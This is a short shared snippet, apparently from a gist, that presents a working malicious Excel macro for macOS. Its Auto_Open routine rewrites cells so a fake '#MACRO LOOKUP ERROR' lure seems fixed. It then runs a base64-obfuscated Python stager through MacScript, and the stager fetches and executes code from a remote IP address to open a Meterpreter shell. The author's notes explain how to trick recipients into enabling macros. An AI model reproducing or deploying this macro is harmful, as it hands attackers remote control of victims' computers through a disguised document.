Mac OSX MS Office Meterpreter Macro (Python and Macscript)

osxMacro.txt

For putting in excel. You can ignore the worksheets part, I used that to replace values in cells to know if a user had run macros or not when they sent the spreadsheet back. 


Put #MACRO LOOKUP ERROR in fields, if use runs macros it'll fix the values, refresh the screen, and pop python meterpreter shell:



Sub Auto_Open()
    '#MACRO LOOK ERROR
    Worksheets("Sheet1").Range("H1") = "Quick Ratio"
    Worksheets("Sheet1").Range("I1") = "NPS"
    Worksheets("Sheet1").Range("J1") = "Net Burn Rate"
    Worksheets("Sheet1").Range("K1") = "LTV:CAC Ratio"
    Worksheets("Sheet1").Range("L1") = "Viral Coefficient"
    Worksheets("Sheet1").Range("M1") = "Monthly Unique Visitors"
    Worksheets("Sheet1").Range("N1") = "ARR"
    Worksheets("Sheet1").Range("O1") = "Trial Signups"
    Worksheets("Sheet1").Range("P1") = "ACV"
    Worksheets("Sheet1").Range("Q1") = "LTV"
    Worksheets("Sheet1").Range("R1") = "PQLs"
    Worksheets("Sheet1").Range("S1") = "LVR"
    Worksheets("Sheet1").Range("T1") = "Organic Traffic Rate"
    Worksheets("Sheet1").Range("U1") = "Paid Traffic Rate"
    DoEvents
    scriptToRun = "do shell script ""python -c 'exec(\""aW1wb3J0IHN5cwp2aT1zeXMudmVyc2lvbl9pbmZvCnVsPV9faW1wb3J0X18oezI6J3VybGxpYjInLDM6J3VybGxpYi5yZXF1ZXN0J31bdmlbMF1dLGZyb21saXN0PVsnYnVpbGRfb3BlbmVyJywnSFRUUFNIYW5kbGVyJ10pCmhzPVtdCmlmICh2aVswXT09MiBhbmQgdmk+PSgyLDcsOSkpIG9yIHZpPj0oMyw0LDMpOgoJaW1wb3J0IHNzbAoJc2M9c3NsLlNTTENvbnRleHQoc3NsLlBST1RPQ09MX1NTTHYyMykKCXNjLmNoZWNrX2hvc3RuYW1lPUZhbHNlCglzYy52ZXJpZnlfbW9kZT1zc2wuQ0VSVF9OT05FCglocy5hcHBlbmQodWwuSFRUUFNIYW5kbGVyKDAsc2MpKQpvPXVsLmJ1aWxkX29wZW5lcigqaHMpCm8uYWRkaGVhZGVycz1bKCdVc2VyLUFnZW50JywnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBUcmlkZW50LzcuMDsgcnY6MTEuMCkgbGlrZSBHZWNrbycpXQpleGVjKG8ub3BlbignaHR0cHM6Ly8xOC4yMTMuNDAuMjAzOjg0NDMvUWtYYjhyWWZZaTNYUU1KVWkxcEZmUVRUcGNfMTZ5TE1xeFZhd0hFOHlCR09zZVhWU3V6MW9SbmgxOUZDN2NUZUE2Z0pfdlhfYnpCS01zb01nZ3VyMTRXTThVLXBHekdObnBRd2dEeDN2b2JHd0FOMnZYUDB6MmRMaXZNaWl2TEhjMlZYdEREJykucmVhZCgpKQo=\"".decode(\""base64\""))'&"""
    res = MacScript(scriptToRun)
End Sub